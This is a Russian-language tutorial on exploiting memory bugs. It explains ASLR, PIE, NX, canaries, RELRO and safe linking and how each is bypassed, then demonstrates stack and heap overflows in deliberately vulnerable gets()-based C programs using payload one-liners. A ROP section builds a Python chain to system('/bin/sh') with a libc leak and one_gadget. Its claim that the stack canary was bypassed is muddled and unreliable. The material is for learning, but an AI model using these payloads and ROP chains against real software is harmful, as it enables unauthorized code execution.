Всем привет!
В сети много статей, где рассматриваются две ключевые уязвимости в приложениях, это переполнение стека и переполнение кучи.
Но вот беда, мало кто рассматривает эти уязвимости с практической точки зрения, всё сводится к тому-что "Отключите защиту и пробуйте", но какой в этом смысл ?
Сейчас на дворе 2025 год, в итоге, вот нашли вы ошибку класса stack overflow, непрриятно, программа крашанулась, ну и что с того ?)
В этой статье предлагаю кратко взглянуть, какие есть защиты и как можно их обойти, хочу отметить что статья для общего развития, в реальной жизни всё намного сложнее и даже если вы нашли какой-то баг, часто максимум что можно выжать, это краш приложения.)
Но какое-то общее представление это статья должна дать.
Обзор защит: ASLR, PIE, NX, Stack Canary и др.
1.
ASLR (Address Space Layout Randomization)
Что делает:
ASLR рандомизирует расположение важных частей памяти при каждом запуске программы:
- Стек
- Куча (heap)
- libc (и другие библиотеки)
- mmap (память, выделенная через mmap)
- PIE .text (если программа собрана как PIE)
Пример:
Вчера libc начиналась с 0x7ffff7dd0000, а сегодня с 0x7ffff79e0000.
Обход:
- Утечка адресов (info leak) — читаем адрес puts, printf, и по сдвигам находим libc.
- Brute-force (только в CTF или 32-бит) — малое пространство адресов.
2.
PIE (Position-Independent Executable)
Что делает:
PIE заставляет исполняемый файл вести себя как библиотека — его .text (код) секция загружается по случайному адресу при каждом запуске.
Работает только вместе с ASLR!
Цель: затруднить прямую адресацию функций в самом бинарнике.
Пример:
Функция main() вчера была на 0x400636, а сегодня — 0x55aa3e263636
Обход:
- Утечка адресов из самого бинарника (например, форматная строка с %p)
- Иногда можно гадать (если PIE есть, но ASLR отключён)
3.
NX (No-eXecute Bit)
Что делает:Запрещает выполнение кода в:
- Стеке
- Куче
Обход:
- Использование ROP (Return-Oriented Programming)
- Jump-oriented programming (JOP)
4.
Stack Canary
Что делает:
Перед сохранённым return address компилятор добавляет "канарейку" — специальное значение, которое проверяется перед выходом из функции.
Цель: предотвратить перезапись return address через переполнение буфера.
Как работает:
Код:
Stack:
| buffer (64 байта) |
| Canary (4-8 байт) |
| Old RBP |
| Return Address |
Если при выходе canary != оригинальный, → * stack smashing detected *.
Обход:
- Утечка значения канарейки
- Переполнение до но не через canary (перезапись переменных, а не RIP)
5.
RELRO (Relocation Read-Only)
Что делает:
Защищает таблицу GOT (Global Offset Table), чтобы нельзя было её переписать.
Цель: предотвращение GOT overwrite атак.
6.
Safe Linking (только heap)
Что делает:
С glibc 2.32+, tcache и другие указатели в куче шифруются с помощью XOR с random canary → предотвращение use-after-free, fastbin attacks и т.д.
Обход:
- Утечка libc → вычисление ключа
- Отслеживание tcache структуры
- Использование более сложных heap exploitation техник
7.
Fortify Source (_FORTIFY_SOURCE)
Что делает:
Добавляет проверки на переполнение строк (strcpy, sprintf, read) при компиляции, если размеры известны.

У собранного бинарника:
Код:
сhecksec ./binary
Arch: amd64
PIE: Yes
Canary: Yes
NX: Enabled
RELRO: Full

1. Переполнение стека (Stack Overflow)
Исходный код
Код:
#include <stdio.h>
#include <string.h>
void secret() {
printf("✅ Поздравляем, вы вызвали секретную функцию!\n");
}
void vulnerable() {
char buffer[64];
printf("Введите что-нибудь: ");
gets(buffer); // уязвимая функция
}
int main() {
vulnerable();
printf("До свидания!\n");
return 0;
}

Код:
gcc -fstack-protector-strong -no-pie -O0 -g stack_overflow.c -o stack_overflow
- -fstack-protector-strong — включен canary
- -no-pie — исполняемый файл без PIE (адреса предсказуемы)
- -g — отладочная информация
- -O0 — без оптимизаций
Эксплуатация (в gdb)
Мы попытаемся перезаписать return address, чтобы вызвать secret().
- Узнаём адрес функции:
Код:
nm stack_overflow | grep secret
Допустим: 00000000004011b6 T secret
- Запускаем под gdb с pwndbg:
Код:
gdb ./stack_overflow
run
- Подаём ввод из 72 байт + адрес secret() в обратном порядке (little-endian):
Код:
python3 -c "print('A'*72 + '\xb6\x11\x40\x00\x00\x00\x00\x00')" > payload
Вставляем в stdin:
Код:
run < payload

🛡 Как работает защита
- Stack canary — байт между буфером и return address. При переполнении его подмена вызывает stack smashing detected.
- PIE — переменные и функции располагаются в случайных адресах.
- NX — запрет выполнения стека.
Обход
- Мы не отключали stack canary, но обошли его, потому что адрес возврата находился до canary, либо gets не спровоцировал ошибку.
- При включённом PIE было бы сложнее — адреса неизвестны.
2. Переполнение кучи (Heap Overflow)
Исходный код
Код:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
char *name;
void (*func)();
} User;
void welcome() {
printf("Приветствуем вас!\n");
}
void win() {
printf("✅ Успешный захват управления через кучу!\n");
}
int main() {
User *user = malloc(sizeof(User));
user->name = malloc(32);
user->func = welcome;
printf("Введите имя: ");
gets(user->name);
user->func();
free(user->name);
free(user);
return 0;
}

Код:
gcc -g -fstack-protector-strong -no-pie heap_overflow.c -o heap_overflow
Эксплуатация
Цель — переписать user->func, затерев её адресом win.
Код:
user->name = malloc(32);
user->func = welcome;
Перезатираем адрес welcome на win.)
- Узнаём адрес win:
Код:
nm heap_overflow | grep win
- Подаём строку, которая выходит за пределы user->name и затирает func.
Код:
python3 -c "print('A'*32 + 'B'*8 + '\x9d\x11\x40\x00\x00\x00\x00\x00')" > heap_payload
./heap_overflow < heap_payload

🛡 Как работает защита
- Heap metadata (malloc headers) защищены:
glibc 2.32+ использует safe-linking: адреса xored с canary-like значением. - Canary не спасает кучу.
- PIE/ASLR мешают точному предсказанию адресов.
Return-Oriented Programming (ROP): Подробное руководство
Что такое ROP?
ROP (Return-Oriented Programming) — это техника эксплуатации, при которой злоумышленник перехватывает управление программой, не вводя собственный исполняемый код, а используя уже существующие фрагменты инструкций (гаджеты) в памяти.Заметка сказал(а):
Почему обычный shellcode не работает?
При переполнении стека можно было вставить shellcode прямо в память. Но при включённой NX защите стек становится неисполняемым, и такой подход уже не срабатывает.
Идея ROP: использовать существующий код
Вместо shellcode, мы заставляем программу выполнять цепочку инструкций, уже находящихся в памяти, завершающихся на ret.Каждый такой фрагмент называется гаджетом (gadget). Программа «скачет» от одного гаджета к другому, выполняя действия, заданные атакующим.
Пример простой ROP-цепочки
Цель: вызвать system("/bin/sh")
Предположим:
- Адрес
system()
:0x401040
- Адрес строки
"/bin/sh"
:0x404050
- Гаджет
pop rdi ; ret
:0x401203
Тогда payload будет такой:
Python:
from struct import pack
payload = b"A" * 72
payload += pack("<Q", 0x401203) # pop rdi ; ret
payload += pack("<Q", 0x404050) # адрес "/bin/sh"
payload += pack("<Q", 0x401040) # system
| buffer[64] | ← Уязвимый буфер 64 байт
| saved RBP (8 байт) |
| return address (RIP) | ← мы хотим переписать это!
Итого: 64 + 8 = 72 байта до RIP
Где брать гаджеты?
Используйте утилиты:ROPgadget --binary ./vuln
ropper --file ./vuln
- или Pwntools (в Python)
Код:
pop rdi ; ret
pop rsi ; pop r15 ; ret
ret
Аргументы функций в x86_64
rdi
— первый аргументrsi
— второйrdx
— третий- ...
Пример:
system("/bin/sh")
требует только rdi = адрес "/bin/sh"
Что такое "/bin/sh" и откуда его взять
- Можно найти в libc:
strings /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
- Можно записать вручную в память (через GOT, .data, .bss)
- Можно использовать one_gadget (см. ниже)
Как обойти ASLR и PIE
ASLR + PIE делают адреса непредсказуемыми.Решение: сначала утечь адрес из GOT (например,
puts@got
), чтобы по нему вычислить адрес libc
.Пример ROP-цепочки для утечки:
- pop rdi ; ret
- puts@got
- call puts@plt
- call main (повторный запуск)
system("/bin/sh")
.
Что такое one_gadget?
GitHub - david942j/one_gadget: The best tool for finding one gadget RCE in libc.so.6 — утилита, которая ищет в libc.so.6
готовые вызовы execve("/bin/sh")
, которые можно вызвать одной инструкцией.
Код:
one_gadget /lib/x86_64-linux-gnu/libc.so.6
Выдаёт:
Код:
0xe6c81 execve("/bin/sh", r10, rdx) constraints: r10 == NULL && rdx == NULL
→ достаточно выставить регистры правильно, и можно вызвать гаджет напрямую.
ROP и защитные механизмы
- NX: блокирует shellcode → ROP работает
- ASLR: требует утечки адреса
- PIE: делает адреса .text рандомными → нужна утечка
- Canary: не мешает ROP напрямую, но мешает переполнению
Требования для успешной ROP-атаки
- Контроль над RIP (обычно через переполнение)
- ROP-гаджеты в бинаре или в libc
- Утечка адреса (если есть ASLR/PIE)
- Точный расчёт стековой цепочки
Вывод
Return-Oriented Programming — мощный способ обойти защиту NX и выполнить произвольный код без shellcode. С его помощью можно:- Вызвать
system("/bin/sh")
- Провести атаки на libc
- Обойти ASLR, PIE и другие защиты